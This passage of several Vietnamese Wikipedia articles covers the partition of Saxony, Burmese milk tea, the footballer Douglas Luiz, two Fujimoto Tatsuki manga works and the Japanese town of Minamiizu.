giữ lại lãnh thổ Thuringia, ngoài ra còn bị chia cắt thành nhiều công quốc Ernestine. Sau Thế chiến thứ nhất, Nhà Wettin bị phế truất, Vương quốc Albertine Sachsen được Bang tự do Sachsen thừa kế, trong khi 4 công quốc trước đây của Ernestine gia nhập Thuringia sau một cuộc trưng cầu dân ý trong đó Sachsen-Coburg (trừ Gotha), đã bỏ phiếu gia nhập Bayern. Tham khảo Liên kết ngoài Saxony Ernestine Saxony 1485-1547 Chia cắt (chính trị) Hiệp ước 1480 Hiệp ước của Tuyển hầu xứ Sachsen Châu Âu năm 1485 Sachsen thế kỷ 15 Lịch sử Leipzig
19853105
https://vi.wikipedia.org/wiki/Tr%C3%A0%20s%E1%BB%AFa%20Mi%E1%BA%BFn%20%C4%90i%E1%BB%87n
Trà sữa Miến Điện
Trà sữa Miến Điện (, ) là một loại thức uống được làm từ trà có nguồn gốc xuất xứ ở Myanmar, theo truyền thống được làm bằng trà đen và sữa (thường là sữa đặc và sữa bay hơi). Chúng thường được tiêu thụ tại các quán trà như một món ăn kèm với các món ăn khác như món chiên Miến Điện và món ăn nhẹ Miến Điện. Lịch sử Myanmar có một nền văn hóa trà lâu đời, bắt nguồn từ lịch sử trồng trà lâu đời ở một khu vực mà ngày nay được gọi là Thượng Miến. Vào thời tiền thuộc địa, mọi người chủ yếu uống trà xanh, thứ vẫn tiếp tục là đồ uống chủ đạo tại các quán trà cũng như các nhà hàng Miến Điện truyền thống. Trong thời kỳ Miến Điện thuộc Anh, Miến Điện đã trở thành một phần của vương quốc Raj thuộc Anh. Từ cuối những năm 1800 trở đi, những người Ấn Độ di cư đã đổ xô đến các thành phố lớn, nơi họ thành lập các cửa hàng tổng hợp có tên là kaka hsaing, nơi cung cấp trà sữa và cuối cùng phát triển thành các quán trà. Trà sữa được pha chế từ trà được ủ kỹ, sữa tươi hấp và đường, tương tự như trà sữa Ấn Độ. Nguyên liệu Trà sữa Miến Điện được làm từ lá trà đen ủ kỹ, được gọi là akya yay () hoặc aphan yay (), sữa bay hơi và sữa đặc, tương tự như trà sữa Hồng Kông. Sữa tươi, kem (được gọi là "malai" trong tiếng Miến Điện) và đường mía cũng được tùy ý thêm vào hoặc thay thế. Chuẩn bị Trà sữa Miến Điện được làm ra bằng cách ủ kỹ lá trà đen, đun sôi trong nước với một chút muối, thường từ 15 đến 30 phút. Sau đó, bã trà được kết hợp với sữa bay hơi và sữa cô đặc, rồi 'kéo' theo cách tương tự như teh tarik, nhằm tạo ra một lớp bọt và làm mát thức uống này. Biến thể Theo truyền thống, trà sữa Miến Điện được làm theo đơn đặt hàng, dựa trên tỷ lệ trà và sữa tùy chỉnh theo sở thích cá nhân. Có hơn hai chục loại và người gọi đồ thường sử dụng các chữ viết tắt tốc ký khi gọi món. Các loại trà sữa có thể được phân loại rộng rãi dựa trên độ se, độ đậm đà và vị ngọt. Truyền thống Loại truyền thống được gọi là pon hman (), tỷ lệ 5:1:1 đối với trà, sữa bay hơi và sữa đặc. Một số từ viết tắt tốc ký phổ biến bao gồm 'trà Ceylon' () và 'no zein ti' (). Se Các loại trà se được gọi là a-phan () hoặc kya kya (), thường được tăng cường bằng cách giảm lượng sữa đặc và sữa bay hơi, và/hoặc tăng lượng trà đen. Trà đen pha đậm đặc không có sữa được gọi là 'gate sone' (, ). Đậm Các loại trà đậm được gọi là a-seint (), thường được làm đậm bằng nhiều sữa bay hơi hơn so với loại truyền thống. Các cách viết tắt phổ biến bao gồm 'kya seint', 'paw seint' và 'cho seint.' Ngọt Các loại trà ngọt được gọi là a-cho' (), thường được làm ngọt bằng nhiều sữa đặc hơn so với loại truyền thống. Các cách viết tắt phổ biến bao gồm 'cho kya', 'cho pyit' và 'cho paw.' Một cách viết tắt phổ biến khác, 'Kyaukpadaung' () dùng để chỉ một loại trà sữa ngọt nhưng có vị se với ít sữa bay hơi hơn. Xem thêm Trà sữa Trà sữa Hồng Kông Teh tarik Liên minh Trà Sữa Tham khảo Ẩm thực Myanmar Trà hỗn hợp Trà sữa Thức uống Trà
19853107
https://vi.wikipedia.org/wiki/Douglas%20Luiz
Douglas Luiz
Douglas Luiz Soares de Paulo (sinh ngày 9 tháng 5 năm 1998), thường được biết đến với tên gọi Douglas Luiz, là một cầu thủ bóng đá chuyên nghiệp người Brazil hiện đang thi đấu ở vị trí tiền vệ cho câu lạc bộ Aston Villa tại Giải bóng đá Ngoại hạng Anh và Đội tuyển bóng đá quốc gia Brasil. Douglas Luiz trưởng thành từ lò đào tạo bóng đá Vasco da Gama ở Rio de Janeiro. Năm 2017, anh được Manchester City ký hợp đồng khi 19 tuổi nhưng chưa thi đấu trận chính thức nào trong thời gian ở câu lạc bộ do vấn đề về hợp đồng và chuyển đến thi đấu cho câu lạc bộ Girona tại La Liga dưới dạng cho mượn hai lần. Ngày 7 tháng 12 năm 2019, Aston Villa ký hợp đồng với Luiz. Anh từng là thành viên của đội tuyển Olympic Brazil giành huy chương vàng tại Thế vận hội mùa hè 2020 diễn ra tại Tokyo. Sự nghiệp câu lạc bộ Sự nghiệp quốc tế Đời tư Từ năm 2021 đến năm 2022, Douglas hẹn hò với Alisha Lehmann cũng là một cầu thủ bóng đá đang thi đấu của câu lạc bộ nữ Aston Villa. Thống kê sự nghiệp Danh hiệu Aston Villa Á quân EFL Cup: 2019–20 U-23 Brazil Huy chương Vàng Thế vận hội: 2020 Giải đấu Toulon: 2019 Brazil Copa América á quân: 2021 Cá nhân Campeonato Carioca Đội hình của năm: 2017 Giải đấu Toulon Cầu thủ xuất sắc nhất: 2019 Giải đấu Toulon Đội hình xuất sắc nhất: 2019 Cầu thủ xuất sắc nhất mùa giải do cổ động viên Aston Villa bầu chọn: 2022–23 Cầu thủ xuất sắc nhất của Aston Villa: mùa giải 2022–23 Tham khảo Liên kết ngoài Douglas Luiz trên trang Aston Villa F.C. Sinh năm 1998 Nhân vật còn sống Tiền vệ bóng đá nam Cầu thủ bóng đá nam Brasil Cầu thủ bóng đá Thế vận hội Mùa hè 2020 Huy chương bóng đá Thế vận hội Huy chương Thế vận hội Mùa hè 2020 Cầu thủ bóng đá Thế vận hội của Brasil Cầu thủ đội tuyển bóng đá quốc gia Brasil Cầu thủ bóng đá nam Brasil ở nước ngoài Cầu thủ bóng đá Aston Villa F.C.
19853108
https://vi.wikipedia.org/wiki/Fujimoto%20Tatsuki%20Tanpensh%C5%AB
Fujimoto Tatsuki Tanpenshū
là một tuyển tập manga one-shot bao gồm 2 tập được viết và minh họa bởi Fujimoto Tatsuki. Hai tập truyện 17-21 và 22-26, được phát hành lần lượt vào tháng 10 và 11 năm 2021. Tổng quan Fujimoto Tatsuki Tanpenshū bao gồm 8 chương one-shot được viết và minh họa bởi Fujimoto Tatsuki trước khi thực hiện xê-ri thứ hai là Chainsaw Man. Tập 1 17–21 bao gồm: (phát hành năm 2011); (phát hành năm 2013); (phát hành năm 2013); and (phát hành năm 2014). Tập truyện được phát hành bởi Shueisha vào ngày 4 tháng 10, 2021. Tập 2 22–26 bao gồm: (phát hành năm 2014); (phát hành năm 2017); (phát hành năm 2015); and (phát hành năm 2018). Tập truyện được phát hành vào ngày 4 tháng 11, 2021. Tập truyện Tham khảo Manga năm 2021 Shōnen manga
19853109
https://vi.wikipedia.org/wiki/Minamiizu%2C%20Shizuoka
Minamiizu, Shizuoka
là Thị trấn thuộc huyện Kamo, tỉnh Shizuoka, Nhật Bản. Tính đến ngày 1 tháng 10 năm 2020, dân số ước tính thị trấn là 7.877 người và mật độ dân số là 72 người/km2. Tổng diện tích thị trấn là 109,9 km2. Địa lý Đô thị lân cận Shizuoka Shimoda Matsuzaki Khí hậu Tham khảo Thị trấn của Shizuoka
19853111
https://vi.wikipedia.org/wiki/Futs%C5%AB%20ni%20Kiitekure
Futsū ni Kiitekure
là web manga one-shot được viết bởi Fujimoto Tatsuki và minh họa bởi Toda Oto. Truyện được phát hành tại website Shōnen Jump+ vào tháng 7 năm 2022. Phát hành Viết bởi Fujimoto Tatsuki và minh họa bởi Toda Oto, one-shot được phát hành tại website Shōnen Jump+ của Shueisha vào ngày 4 tháng 7 năm 2022. Viz Media và Manga Plus phát hành one-shot bản chuyển ngữ tiếng Anh song song với bản tiếng Nhật. Đón nhận Brian Salvatore từ Multiversity Comics dành lời khen cho cốt truyện mặc dù manga chỉ có độ dài ngắn, đặc biệt là cách mà bộ truyện để bỏ ngỏ nhiều tình tiết. Salvatore cũng khen ngợi nét vẽ của Toda. Cùng với đó, Salvatore cảm thấy rằng bộ manga khiến cho người đọc biết phải suy ngẫm nhiều hơn. Kazushi Shimada từ đề cao thông điệp của câu chuyện về việc đào sâu vào những ẩn ý trong nghệ thuật cùng ngòi bút của Toda. Shimada cũng thích việc cốt chuyện có tình tiết mơ hồ và có kết mở. Chú thích Manga Shūeisha Shōnen manga Manga năm 2022